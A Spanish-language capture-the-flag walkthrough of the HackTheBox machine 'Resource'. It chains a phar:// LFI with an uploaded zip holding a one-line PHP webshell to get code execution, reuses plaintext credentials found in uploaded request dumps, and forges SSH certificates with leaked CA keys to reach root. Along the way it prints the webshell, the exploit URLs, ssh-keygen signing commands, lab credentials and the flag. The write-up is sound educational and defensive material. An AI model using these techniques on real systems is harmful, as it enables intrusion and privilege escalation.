the_open_door
café
ESEN

Resource

HackTheBoxDifícilLinux10.10.11.27

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#phar#lfi#file-upload#rce#ssh-certificate#certificate-authority#ssh-ca#credential-leak#pivoting#linux
TL;DR. Resource es una máquina Linux difícil sobre un sistema de tickets (SSG IT Resource Center) y, sobre todo, sobre el abuso de Autoridades de Certificación SSH. La web incluye páginas con un parámetro ?page= vulnerable; subiendo un .zip con un shell.php y cargándolo con el wrapper phar:// obtenemos RCE como www-data. En uploads/ hay volcados de peticiones con las credenciales de msainristil, que reutilizamos por SSH. A partir de ahí, una cadena de certificados SSH: con la CA ca-itrc (decomisionada pero aún de confianza) firmamos certificados para los principales zzinter y luego root dentro del contenedor; y con la CA de producción test.key firmamos un certificado para el principal root_user que nos da root en el host ssg.

Reconocimiento

Ping

Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.27
64 bytes from 10.10.11.27: icmp_seq=1 ttl=63 time=38.0 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.27 -oG scan

nmap -p- contra 10.10.11.27: descubre 22, 80 y 2222, y el 22 aparece con ttl 62 frente al ttl 63 de los otros dos

Discovered open port 80/tcp on 10.10.11.27
Discovered open port 22/tcp on 10.10.11.27
Discovered open port 2222/tcp on 10.10.11.27
Completed SYN Stealth Scan at 15:04, 15.14s elapsed (65535 total ports)
Not shown: 64118 closed tcp ports (reset), 1414 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

PORT     STATE SERVICE       REASON
22/tcp   open  ssh           syn-ack ttl 62
80/tcp   open  http          syn-ack ttl 63
2222/tcp open  EtherNetIP-1  syn-ack ttl 63

Tres puertos, y una asimetría que merece la pena leer despacio: el 22 responde con ttl 62 mientras el 80 y el 2222 lo hacen con ttl 63. Un salto más significa literalmente eso, que los paquetes del 22 atraviesan un enrutado adicional antes de llegar. Es el patrón de un servicio publicado desde dentro de un contenedor, y anticipa la estructura de la máquina antes de tocar nada.

extractPorts leyendo el fichero scan y devolviendo IP Address 10.10.11.27 y Open ports 22,80,2222

Extracting information...
IP Address: 10.10.11.27
Open ports: 22,80,2222

Ports copied to clipboard
nmap -p22,80,2222 -sCV 10.10.11.27

nmap: OpenSSH 9.2p1 Debian en el 22, nginx 1.18.0 redirigiendo a itrc.ssg.htb en el 80 y OpenSSH 9.6p1 Ubuntu en el 2222

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open  ssh     OpenSSH 9.6p1 Ubuntu (Ubuntu Linux; protocol 2.0)

Añadimos itrc.ssg.htb (y el dominio base ssg.htb) al /etc/hosts y abrimos la web.

el navegador resuelve itrc.ssg.htb y carga el SSG IT Resource Center

La portada es puramente informativa: un texto de bienvenida y, arriba a la derecha, los dos únicos botones que llevan a algún sitio, Register y Login.

la portada del SSG IT Resource Center con los botones Register y Login resaltados en la esquina superior derecha

whatweb http://itrc.ssg.htb/

whatweb contra itrc.ssg.htb identificando nginx 1.18.0 sobre Ubuntu, PHP 8.1.29 y el título "IT Support Center"

http://itrc.ssg.htb/ [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5,
  HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.27], PHP[8.1.29], Script,
  Title[IT Support Center], X-Powered-By[PHP/8.1.29]

PHP 8.1.29 detrás de nginx. Que sea PHP importa: es lo que después hará posible el wrapper phar://.

dirsearch -u http://itrc.ssg.htb/

dirsearch sobre itrc.ssg.htb encontrando admin.php, api, assets, dashboard.php, db.php, home.php, login.php, register.php y uploads

[15:09:21] 200 -   46B  - /admin.php
[15:09:28] 301 -  310B  - /api  ->  http://itrc.ssg.htb/api/
[15:09:29] 301 -  313B  - /assets  ->  http://itrc.ssg.htb/assets/
[15:09:37] 200 -   46B  - /dashboard.php
[15:09:38] 200 -    0B  - /db.php
[15:09:45] 200 -  507B  - /home.php
[15:09:51] 200 -  241B  - /login.php
[15:09:51] 302 -    0B  - /logout.php  ->  index.php
[15:10:04] 200 -  263B  - /register.php
[15:10:16] 301 -  314B  - /uploads  ->  http://itrc.ssg.htb/uploads/
Task Completed

Dos tamaños hablan por sí solos: /admin.php y /dashboard.php devuelven 46 bytes (una redirección o un "no autorizado", no la página real) y /db.php devuelve 0 (existe pero no imprime nada, típico de un fichero de configuración incluido por otros). Y aparece /uploads, que es donde acabarán los adjuntos.

El IT Resource Center y el parámetro page

De los recursos que sacó dirsearch, el que más llama es admin.php. Pedirlo directamente no da error ni pantalla de login: devuelve la misma portada, es decir, la aplicación redirige a index a quien no tiene sesión en vez de admitir que la ruta existe.

la petición a itrc.ssg.htb/admin.php devuelve exactamente la misma portada de bienvenida

La web es un sistema de tickets con su propio panel de acceso:

el panel de login de itrc.ssg.htb, con enlace para registrarse

El registro está abierto, así que nos creamos una cuenta:

el formulario Register del SSG IT Resource Center relleno con el usuario Jaime y su contraseña repetida

Y entramos con ella:

el formulario Login relleno con el mismo usuario Jaime y su contraseña

el dashboard del IT Resource Center tras autenticarse con la cuenta recién registrada, con la opción de crear tickets

Lo primero que se prueba en un formulario que guarda texto es un XSS almacenado:

el formulario de nuevo ticket con una carga <script>alert(1)</script> en el cuerpo

el ticket creado muestra el texto sin ejecutar nada: no salta ninguna alerta

No pasa nada. Para saber por qué, se inspecciona el DOM y se sigue el rastro de dónde acaba el input:

el inspector del navegador mostrando dónde se inserta el contenido del ticket en el DOM

Para verlo desde el otro lado se abre la pestaña Network y se repite la operación, creando un ticket normal con el inspector ya escuchando:

el formulario de nuevo ticket con Subject e Issue rellenos y el botón Create Ticket resaltado, con la pestaña Network del inspector abierta debajo

La respuesta a esa operación carga solo dos scripts propios del sitio: filter.js y flash.js.

la pestaña Network tras crear el ticket, con las peticiones a filter.js y flash.js resaltadas entre el resto

302  POST  itrc.ssg.htb  create_ticket.php   document  html
200  GET   itrc.ssg.htb  /                   document  html
200  GET   itrc.ssg.htb  filter.js           script    js
200  GET   itrc.ssg.htb  flash.js            script    js
200  GET   cdn.jsdelivr.net  bootstrap.bundle.min.js  script  js
404  GET   itrc.ssg.htb  favicon.ico

El primero se descarta enseguida: filter.js viene cacheado y su respuesta está vacía.

el detalle de filter.js en el inspector: la pestaña Response no muestra datos, con el aviso No response data

Queda flash.js, y ahí está la pieza:

la pestaña Network con el fichero flash.js y su contenido: la función showFlash(msg) asigna document.getElementById('flashMessage').innerHTML = msg

function hideFlash() {
    document.getElementById('flashMessage').style.display = 'none';
}

function showFlash(msg) {
    document.getElementById('flashMessage').innerHTML = msg;
    document.getElementById('flashMessage').style.display = 'block';
    setTimeout(hideFlash, 5000);
}

innerHTML = msg es un sink de DOM XSS de manual. Con un matiz importante: innerHTML no ejecuta etiquetas <script> insertadas así (por eso el intento anterior no hizo nada), pero sí ejecuta manejadores de eventos, que es la vía habitual (<img src=0 onerror=alert(1)>). Se comprueba desde la consola asignando la variable y llamando a la línea:

La línea que importa es una sola, y no sanea nada:

la función showFlash resaltando la asignación de msg al innerHTML del elemento flashMessage

function showFlash(msg) {
    document.getElementById('flashMessage').innerHTML = msg;
    document.getElementById('flashMessage').style.display = 'block';
    setTimeout(hideFlash, 5000);
}

en la consola del navegador se define la variable msg con un img onerror

al ejecutar document.getElementById('flashMessage').innerHTML = msg salta la alerta: el sink es explotable

El sink es real y explotable. Pero no le encontramos salida: para que un XSS escale hace falta una víctima con más privilegios que renderice el payload (un administrador revisando el ticket, un bot), y aquí no aparece ninguna que llegue a dispararlo. Sin ese consumidor privilegiado se queda en self-XSS, así que lo dejamos anotado como callejón sin salida y seguimos enumerando.

La pista buena está en la navegación: las páginas se cargan con index.php?page=<name>. Hacemos fuzzing de ese parámetro y aparecen, además de las visibles, dos interesantes: admin y db.

wfuzz -u 'http://itrc.ssg.htb/index.php?page=FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hl 39

wfuzz lanzando 220559 peticiones contra el parámetro page filtrando por 39 líneas de respuesta

Target: http://itrc.ssg.htb/index.php?page=FUZZ
Total requests: 220559

wfuzz sobre el parámetro page descubre las páginas admin, db, dashboard y ticket

Target: http://itrc.ssg.htb/index.php?page=FUZZ
Total requests: 220559

ID         Response  Lines   Word    Chars    Payload
000000015: 200       34 L    96 W    2276 Ch  "index"
000000065: 200       44 L    135 W   2842 Ch  "register"
000000053: 200       43 L    126 W   2709 Ch  "login"
000000259: 200       25 L    67 W    1331 Ch  "admin"
000000848: 200       34 L    96 W    2276 Ch  "db"
000001225: 200       38 L    136 W   2627 Ch  "logout"
000002927: 200       25 L    67 W    1331 Ch  "dashboard"
000005167: 200       25 L    67 W    1331 Ch  "ticket"

Además de las páginas ya visibles, aparecen dos que no lo estaban: admin y db.

Que el contenido se incluya a partir de ?page= es un patrón clásico de include($_GET['page'].".php"): un LFI. Por sí solo únicamente leería ficheros, pero combinado con la subida de adjuntos abre la puerta a ejecución de código.

Shell como www-data

De LFI a RCE con phar://

La aplicación nos deja subir ficheros a un ticket. Aprovechamos el wrapper phar://: un ZIP es un contenedor válido para PHP, así que metemos dentro un shell.php mínimo y lo incluimos desde el archivo. Primero el payload:

<?php system($_GET["cmd"]); ?>

el contenido de shell.php: un system() de una línea que ejecuta el parámetro cmd

Lo comprimimos en un .zip:

zip test.zip shell.php

zip test.zip shell.php empaquetando la webshell

  adding: shell.php (stored 0%)

Se sube como adjunto de un ticket cualquiera:

el formulario de ticket con test.zip adjuntado y subido correctamente

El servidor renombra lo subido usando el sha1sum del fichero, así que el nombre en uploads/ se puede calcular en local sin necesidad de mirar el listado:

sha1sum test.zip

sha1sum test.zip devolviendo el hash que el servidor usará como nombre del fichero en uploads

Se incluye con el wrapper apuntando al fichero interno (sin extensión, porque el código ya añade .php):

http://itrc.ssg.htb/?page=phar://uploads/<sha1>.zip/shell&cmd=id

cargando el .zip con phar:// y cmd=id la web devuelve uid=33(www-data)

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Cualquier otro comando funciona igual cambiando el cmd, y la respuesta se imprime en la propia página, encima del contenido del sitio. Un pwd sitúa la raíz de la aplicación:

la misma URL con cmd=pwd devuelve /var/www/itrc impreso sobre la cabecera del sitio

/var/www/itrc

Tenemos ejecución de comandos como www-data.

Shell como msainristil

Credenciales en uploads/

En /var/www/itrc está el código fuente, y en db.php las credenciales de base de datos:

la webshell mostrando el contenido de db.php con el usuario jj y la contraseña ugEG5rR5SG8uPD para la base resourcecenter

$servername = "127.0.0.1";
$username = "jj";
$password = "ugEG5rR5SG8uPD";
$dbname = "resourcecenter";

Se prueban, y no valen desde fuera:

el intento de conectar con mysql -u jj -p -h 10.10.11.27 falla; tampoco funciona con la IP interna del contenedor

$ mysql -u jj -p"ugEG5rR5SG8uPD" -h 10.10.11.27 resourcecenter
ERROR 2002 (HY000): Can't connect to MySQL server on '10.10.11.27'

El db.php apunta a 127.0.0.1, o sea que MySQL solo escucha en el bucle local del contenedor. Queda anotado como credencial sin uso inmediato, no como fracaso.

Lo jugoso está en uploads/:

?page=phar://uploads/<sha1>.zip/shell&cmd=ls uploads

la webshell listando uploads/: cuatro ficheros .zip con nombres de 40 caracteres hexadecimales

c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
e88f8b393fe851e1abbf6f129f82cc456a1571f9.zip
e8c6575573384aeeab4d093cc99c7e5927614185.zip
eb65074fe37671509f24d1652a44944be61e4360.zip

Cuatro .zip de los que solo uno es nuestro. Los otros tres son adjuntos que subieron usuarios reales del sistema de tickets, y ahí es donde suele haber material. Para verlos sin perder el fichero descomprimido usamos unzip -p (envía el contenido a stdout mientras descomprime, sin escribir nada a disco, que es lo que hace falta cuando la webshell ejecuta cada comando en un proceso distinto):

unzip -p uploads/<sha1>.zip

unzip -p muestra un volcado de petición con los campos user=msainristil y pass=82yards2closeit

...
"postData": {
    "mimeType": "application/x-www-form-urlencoded",
    "text": "user=msainristil&pass=82yards2closeit",
    "params": [
        { "name": "user", "value": "msainristil" },
        { "name": "pass", "value": "82yards2closeit" }
    ]
},
...

Entre los datos del formulario aparecen unas credenciales: msainristil / 82yards2closeit. Los otros dos .zip no traen contraseñas sino claves públicas:

unzip -p sobre otro adjunto muestra una clave pública ssh-rsa con el comentario mgraham@ssg.htb

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1RS3oCZOLoHXlCKYKOBCiaQzNA9weEgvkEyVCr6Wrtlli8clZi5tJkZiRUyRkqrvR6lX3<SNIP>NFIsgFFGsJ+pUSMUIkZ/2/EfsPEmA1jfkzEAD18UH1PtXo4GehRAbKw9lcbu1MbQHMGJg+0W/95RxK+wy0NSLuwmycKvpY8MKO9MWP6UMoQmAhYEToulcfwrDGD9ncbzzTd1A951JWkpynGqVKazDIvvrb+MF1XXib2HYZ/7XGQs= mgraham@ssg.htb

unzip -p sobre el cuarto adjunto muestra una clave pública ssh-ed25519 con el comentario bmcgregor@ssg.htb

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMI916//9yp/9z9HQn1OCxitlWqEYWkLoST6Z+5dNSBs bmcgregor@ssg.htb

Conviene cerrar este cabo desde ya: al ser solo la mitad pública del par no sirven para autenticarse por sí mismas (harían falta las privadas correspondientes, que no están en ninguna parte). Lo que sí aportan son dos nombres de usuario del dominio ssg.htb y la confirmación de que en esta máquina la autenticación va por clave, no por contraseña, que es la pista temática de todo lo que viene después. El camino real acabará pasando por el abuso de la CA, que nos deja firmar certificados para el principal que queramos, no por estas claves.

Acceso por SSH

Las credenciales se reutilizan en SSH y entramos como msainristil:

ssh msainristil@10.10.11.27

ssh como msainristil con la contraseña recuperada abre una shell; el home contiene decommission_old_ca

Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
...
msainristil@itrc:~$ ls -la
total 32
drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 .
drwxr-xr-x 1 root        root        4096 Aug 13 11:13 ..
lrwxrwxrwx 1 root        root           9 Aug 13 11:13 .bash_history -> /dev/null
-rw-r--r-- 1 msainristil msainristil  220 Mar 29  2024 .bash_logout
-rw-r--r-- 1 msainristil msainristil 3526 Mar 29  2024 .bashrc
-rw-r--r-- 1 msainristil msainristil  807 Mar 29  2024 .profile
drwxr-xr-x 1 msainristil msainristil 4096 Jan 24  2024 decommission_old_ca

El home está casi vacío salvo por un directorio que llama la atención: decommission_old_ca.

Shell como zzinter

Una CA "decomisionada" pero aún de confianza

El home de msainristil contiene un directorio decommission_old_ca con dos ficheros: ca-itrc (la clave privada de una Autoridad de Certificación SSH) y ca-itrc.pub.

el directorio decommission_old_ca contiene la clave de CA ca-itrc y su pública

Aquí entra el abuso de la CA: el sshd confía en las claves que firme esa CA, y quien tenga su clave privada puede firmarse un certificado para cualquier principal. Generamos un par de claves y firmamos un certificado para el principal zzinter; luego nos conectamos presentándolo:

ssh-keygen -t rsa -b 2048 -f keypair

ssh-keygen generando el par keypair/keypair.pub con su randomart

Generating public/private rsa key pair.
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
ssh-keygen -s ca-itrc -I my_hey -n zzinter keypair.pub
ssh -i keypair -o CertificateFile=keypair-cert.pub zzinter@localhost

se firma un certificado para el principal zzinter con ca-itrc y se entra como zzinter

Signed user key keypair-cert.pub: id "my_hey" serial 0 for zzinter valid forever
...
zzinter@itrc:~$

La CA estaba "decomisionada", pero nunca se retiró de la confianza del sshd: sus firmas siguen siendo válidas. Ya somos zzinter.

Shell como root en el contenedor

La misma CA ca-itrc no está restringida solo a zzinter. Repetimos la jugada firmando ahora un certificado para el principal root y nos conectamos al SSH local:

Ya como zzinter, se genera un par de claves nuevo desde su propia sesión y se ajustan los permisos de la CA (sin el chmod, ssh-keygen rechaza la clave por ser legible por otros):

ssh-keygen -t rsa -b 2048 -f keypair
chmod 600 ca-itrc

zzinter@itrc genera un nuevo par keypair/keypair.pub con ssh-keygen, con su randomart

zzinter@itrc:~$ ssh-keygen -t rsa -b 2048 -f keypair
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in keypair
Your public key has been saved in keypair.pub
The key fingerprint is:
SHA256:GolpOQ8RCnhwIHUb3brWcMsXIEan66mJm4CLXKc9f54 zzinter@itrc

El zzinter@itrc del fingerprint confirma de paso que la sesión anterior funcionó.

ssh-keygen -s ca-itrc -n root -I my_key keypair.pub
ssh -i keypair -o CertificateFile=keypair-cert.pub root@localhost

firmando un certificado para el principal root con ca-itrc se obtiene shell de root en el contenedor itrc

Signed user key keypair-cert.pub: id "my_key" serial 0 for root valid forever

ssh con el certificado de root abre una shell como root@itrc

Somos root, pero dentro del sistema itrc (el del resource center). El objetivo final es el host ssg.

Shell como root en ssg

La CA de producción

Como root@itrc exploramos el sistema y encontramos la CA de producción:

el directorio con la CA de producción test.key y los ficheros de configuración que definen los principales y la lista de revocación

Esta es la que usa el host real ssg para autenticar por certificado, pero con dos condiciones que la anterior no tenía: una lista de revocación por número de serie y un principal distinto del nombre de usuario. Así que al firmar fijamos un serial concreto (-z 200) que no esté revocado, y el principal que el host espera para root: root_user.

ssh-keygen -s test.key -z 200 -I root -V -10w:forever -n root_user root.pub

root@itrc firma con test.key un certificado para el principal root_user con serial 200

Signed user key root-cert.pub: id "root" serial 200 for root_user valid after 2024-09-01T00:49:28

Acceso final

Con ese certificado nos conectamos al SSH del host (puerto 2222) como root, y caemos en ssg, donde leemos la flag final:

ssh -i root -o CertificateFile=root-cert.pub -p 2222 root@10.10.11.27

ssh al puerto 2222 con el certificado firmado por test.key abre una shell como root@ssg y muestra root.txt

root@ssg:~# cat root.txt
fb835bc631777ffd9234313a3e2760c9

Cadena de ataque

web itrc.ssg.htb (index.php?page=)
   │  subir shell.php en un .zip a un ticket
   │  ?page=phar://uploads/<sha1>.zip/shell&cmd=...   (phar:// LFI→RCE)
   ▼
www-data @ itrc
   │  uploads/*.zip  →  unzip -p  →  user=msainristil / pass=82yards2closeit
   ▼
msainristil @ itrc   (ssh, reutilización de credenciales)
   │  ~/decommission_old_ca/ca-itrc   (CA SSH aún de confianza)
   │  ssh-keygen -s ca-itrc -n zzinter ...
   ▼
zzinter @ itrc
   │  ssh-keygen -s ca-itrc -n root ...
   ▼
root @ itrc (contenedor)
   │  /opt/test.key  (CA de producción)  →  ssh-keygen -s test.key -z 200 -n root_user ...
   ▼
root @ ssg  (host, ssh -p2222)  →  root.txt

Lecciones aprendidas

  • LFI + subida de ficheros = RCE con phar://. Incluir páginas a partir de ?page= y permitir adjuntar archivos basta para ejecutar código: un ZIP con un shell.php cargado con el wrapper phar:// da una webshell. No incluir ficheros con entrada del usuario y guardar las subidas fuera del web root.
  • No guardes secretos en lo que el usuario sube. Los uploads/ contenían volcados de peticiones con contraseñas en claro, reutilizables por SSH.
  • Una CA SSH es una llave maestra. Quien tenga la clave privada de la CA puede firmarse certificados para cualquier principal, incluido root; ver abuso de CA SSH. Protege esa clave como el secreto más sensible y usa certificados de vida corta.
  • Decomisionar de verdad. El fallo central es que ca-itrc se dio por retirada pero el sshd seguía confiando en ella. Y en la CA de producción, la lista de revocación por serial se sorteó eligiendo un serial no revocado: las revocaciones por número de serie son frágiles si un atacante puede firmar a su antojo.
Cheatsheet de comandos 15 comandos

Repaso rápido